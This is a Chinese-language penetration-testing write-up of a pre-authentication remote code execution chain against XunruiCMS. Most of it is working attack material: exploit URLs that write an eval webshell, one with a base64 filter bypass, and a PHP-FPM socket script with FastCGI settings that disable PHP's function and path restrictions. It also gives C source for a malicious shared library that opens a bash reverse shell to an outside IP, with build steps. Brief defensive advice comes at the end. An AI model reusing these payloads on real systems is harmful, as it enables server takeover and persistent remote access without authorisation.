记一次简单的渗透(三)
字数 1077 2025-08-05 00:16:39
XunruiCMS 前台 RCE 漏洞利用与绕过技术分析
漏洞概述
本文详细分析 XunruiCMS 系统存在的一个前台远程代码执行漏洞,该漏洞允许攻击者在无需认证的情况下执行任意 PHP 代码,最终获取服务器权限。
漏洞验证
初始验证
通过构造以下 URL 验证漏洞存在性:
https://xxxx/?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1
验证方法:
- 查看页面是否出现
\n\n - 查看源码(Ctrl+U)中是否出现
phpinfo字样 - 直接观察
phpinfo()函数输出
代码执行进阶
仅执行 phpinfo() 是不够的,需要实现更复杂的操作:
call_user_func_array("phpinfo", [-1]);
文件写入技术
基础文件写入
尝试使用 file_put_contents 写入 WebShell:
http://localhost:2333/?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=uploadfile/member/1.php%20param1=<?=eval($_POST[cmd]);?>
过滤绕过技术
当直接写入被过滤时,使用 PHP 伪协议绕过:
http://localhost:2333/?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=php://filter/convert.base64-decode/resource=uploadfile/member/1.php%20param1=PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
其中 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== 是 <?php eval($_POST['cmd']);?> 的 base64 编码。
权限提升与绕过技术
环境限制
- 蚁剑无法直接连接
- 存在宝塔面板防护
- 需要绕过
disable_functions和open_basedir
PHP-FPM 利用
-
定位 PHP-FPM Socket:
- 常见位置:
/tmp/php-cgi-73.sock(根据 PHP 版本不同)
- 常见位置:
-
构造 SSRF 交互:
创建以下 PHP 脚本与 FPM 交互:
<?php
$out = base64_decode($_POST['data']);
$fp = fsockopen("unix:///tmp/php-cgi-73.sock", -1, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
- 生成 FPM 请求负载:
使用专门的 FCGIClient 类生成 FastCGI 协议数据包:
$client = new FCGIClient("unix:///tmp/php-cgi-73.sock", -1);
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = /www/wwwroot/xrcms/uploadfile/member/2.php";
恶意 .so 加载
当其他方法失效时,可以编译并加载恶意共享库:
- 创建恶意 C 代码:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/150.xxx.xxx.89/2333 0>&1'");
}
- 编译为共享库:
gcc hpdoger.c -fPIC -shared -o hpdoger.so
- 复制到
/tmp目录 - 通过 PHP-FPM 加载该库实现反向 shell
完整利用流程
- 验证漏洞存在性(phpinfo)
- 尝试直接写入 WebShell
- 遇到过滤时使用 base64 伪协议绕过
- 发现环境限制后定位 PHP-FPM Socket
- 构造 FPM 请求绕过限制
- 最终通过加载恶意 .so 获取反向 shell
防御建议
- 立即升级 XunruiCMS 到最新版本
- 限制危险函数如
call_user_func_array的使用 - 加强文件写入操作的过滤
- 合理配置 PHP 环境,限制
open_basedir - 监控
/tmp目录异常文件 - 定期审计服务器上的可疑 PHP 文件
总结
本漏洞利用过程展示了从简单的代码执行到复杂的权限提升技术,涉及多种绕过技术组合。安全团队应重视此类链式攻击,加强防御纵深。